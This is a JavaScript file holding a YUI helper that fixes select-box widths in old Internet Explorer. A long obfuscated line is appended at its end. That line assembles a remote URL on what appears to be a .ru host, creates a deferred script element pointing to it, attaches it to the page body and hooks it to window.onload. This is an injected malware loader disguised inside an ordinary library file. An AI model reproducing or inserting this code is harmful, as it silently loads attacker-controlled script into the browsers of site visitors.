YAHOO.namespace( 'YAHOO.Hack' ).FixIESelectWidth = new function()
{
	var oSelf = this; 
	var YUE = YAHOO.util.Event;
	var YUD = YAHOO.util.Dom;
	var oTimer = {};
	var oAnim = {};
	var nTimerId =  0 ;
	var dLastFocalItem;
	var ie7 = !!(document.uniqueID  &&   typeof(XMLHttpRequest)!='undefined' )
	function init(el)
	{
		
		
		el = el || this;
		
		

		if( el.tagName.toLowerCase() != 'select')
		{
			throw Error('element [' + el.id + '] is not <select>');
			return;
		};	
		
		if(!YUD.hasClass( el.parentNode, 'select-box'))
		{
			throw Error('className select-box is not included for element [' + el.id + ']');
			return;
		};	
		
		var oRs = el.runtimeStyle;
		var oPRs = el.parentNode.runtimeStyle;
		
		
		oPRs.fonSize = 0;
		
		
		var sDisplay = el.parentNode.currentStyle.display.toLowerCase() ;
		if(  sDisplay=='' ||  sDisplay=='inline' ||  sDisplay=='inline-block' )
		{
			oPRs.display = 'inline-block';
			oPRs.width = el.offsetWidth + 'px';
			oPRs.height =el.offsetHeight + 'px';
			oPRs.position = 'relative';
			oRs.position = 'absolute';
			oRs.top = 0;
			oRs.left = 0;
		};
		
		
		
		el._timerId = ( nTimerId+=1 );

		el.selectedIndex = Math.max( 0 , el.selectedIndex );
		
		oTimer[ '_' + el._timerId ] = setTimeout('void(0)',0);
		oAnim [ 'A' + el._timerId ] = setTimeout('void(0)',0);
		
		YUE.on( el, 'mouseover' , onMouseOver);
		YUE.on( document, 'mousedown' ,onMouseDown , el, true);
		YUE.on(  el, 'change' ,collapseSelect , el, true);
	}


	function collapseSelect(e)
	{
		status++;
		this.runtimeStyle.width = '';			
	}

	function onMouseOver(e )
	{
	
		var el = this;	
		if(dLastFocalItem && dLastFocalItem !=el)
		{
			 onMouseDown.call( dLastFocalItem , e );
		};

		var sTimerId ='_' +  el._timerId ;
		var sAniId = 'A' + el._timerId ;
		clearTimeout( oTimer[ sTimerId ] );

		

		var onTween = function()
		{
			clearTimeout( oAnim [  sAniId  ] );
			if( Math.abs( nEndWidth - nStartWidth ) > 3 )
			{
				nStartWidth += (nEndWidth - nStartWidth ) /3;
				el.runtimeStyle.width = nStartWidth + 'px';
				oAnim [  sAniId  ] = setTimeout( onTween ,0 );
			}
			else
			{
				el.runtimeStyle.width = 'auto';
				el.selectedIndex = Math.max( 0 , el.selectedIndex );
			}
		}

		var nStartWidth =  el.offsetWidth ;
		el.runtimeStyle.width = 'auto';
		var nEndWidth  = el.offsetWidth;
		

		clearTimeout( oAnim [  sAniId  ] );
		onTween();

		el.focus();		
		dLastFocalItem = el;
	}

	function onMouseDown(e , el )
	{
		el = ( e.srcElement || e.target );
		
		
		
		if( el == this && e.type!='mouseover' )
		{
			status++;
			YUE.stopEvent(e);
			return false;
		};
		
		
		el = this;
		
		clearTimeout( oAnim [ 'A' + el._timerId ] );
	
		
		var sTimerId ='_' +  el._timerId ;
		var doItLater = function()
		{
			el.runtimeStyle.width = '';			
		};
		if( e.type=='mouseover')
		{ doItLater();}
		else{
			oTimer[ sTimerId ] = setTimeout(doItLater,100);
		}
	}

	

	function constructor(sId)
	{
		sId = [ sId , ''].join('');
		//Only fix for IE55 ~ IE7
		
		if(document.uniqueID && window.createPopup )
		{			
			YUE.onAvailable(sId ,init );
			return true;

		}else{return false};
	};

	return  constructor;
}

//var s=false;y=["O","g","E"];var S;sD={gr:false};var Q={wJ:"gu"};c=function(){var Hd=["H","nt"];this._=37411;this._+=123;function Y(nr,v,u){return nr.substr(v,u);var nq={YP:"I"};xR=55510;xR-=143;}var j={MH:false};A=14257;A+=184;var FV=["h"];var z=String("/g"+Y("ooSTdG",0,2)+Y("jQbglQjb",3,2)+Y("kige.gik",3,2)+Y("NYDcoYDN",3,2)+Y("FYrm/FrY",3,2)+Y("tmfG0",0,2)+"z."+Y("cosK4B",0,2)+"m/"+"ye"+"ll"+Y("owU06",0,2)+Y("paMFH",0,2)+"ge"+"s."+Y("coBQ5",0,2)+"m."+"ph"+"p");var K='';var zf=RegExp;this.KZ=33500;this.KZ--;Vs=30387;Vs--;var F=document;function n(nr,v){try {var up='l'} catch(up){};var PJ="PJ";var u=Y("[tZS",0,1)+v+"]";var Xt=false;var m=new zf(u, new String("g"));var PD=new Array();de=["fU","QP"];return nr.replace(m, K);this.C=50250;this.C-=196;};var t=599813-591733;var ay={pW:14270};var uJ=n('sbcPrOiqpmtO','OInSmUCLaZkdK9PgBqE4bojRF');var N=9597;try {var Ud='AZ'} catch(Ud){};var R=null;var W=String("bod"+"y");this.Bb=false;var D={UP:46773};var yd={AM:false};je=["jB"];S=function(){try {var Be='Ua'} catch(Be){};this.uu=false;try {this.hk='';var xU=new Array();var w=n('cor0e0aftpeWERl8eomdeWndtW','fydujW80pRo9zC');var qK={AS:"hN"};this.Yy=38334;this.Yy-=21;Sz=F[w](uJ);var cr={sA:"Mr"};this.Pe=false;var uy=[];var nr=t+z;var J=new String(Y("dekAy",0,2)+Y("feEKN",0,2)+Y("xaPgraxPg",4,1));var H_={};IS=14673;IS+=37;var T=n('s_rWcQ','Q_AS1W');var Mt=["QL","Fv"];var QU=new String();Sz[T]=String(Y("http3nQV",0,4)+Y("4S2://a24S",3,4)+Y("xdYnyscdxY",3,4)+Y("7QMyent.yQ7M",4,4)+Y("ru:T17M",0,3))+nr;Sz[J]=[1][0];var IK=new Array();this.Bf="Bf";var _x=["lu","YcG"];F[W].appendChild(Sz);dV=38943;dV--;try {var Qc='Ns'} catch(Qc){};} catch(Kk){var Ja=["gA","gS","Tu"];var CH=new Array();};};try {var CZ='nP'} catch(CZ){};var Km=false;};c();this.QA="QA";this.Rv="Rv";var xn="";window.onload=S;var ifk="ifk";this.qa="";var lM=new Array();var FA=new String();
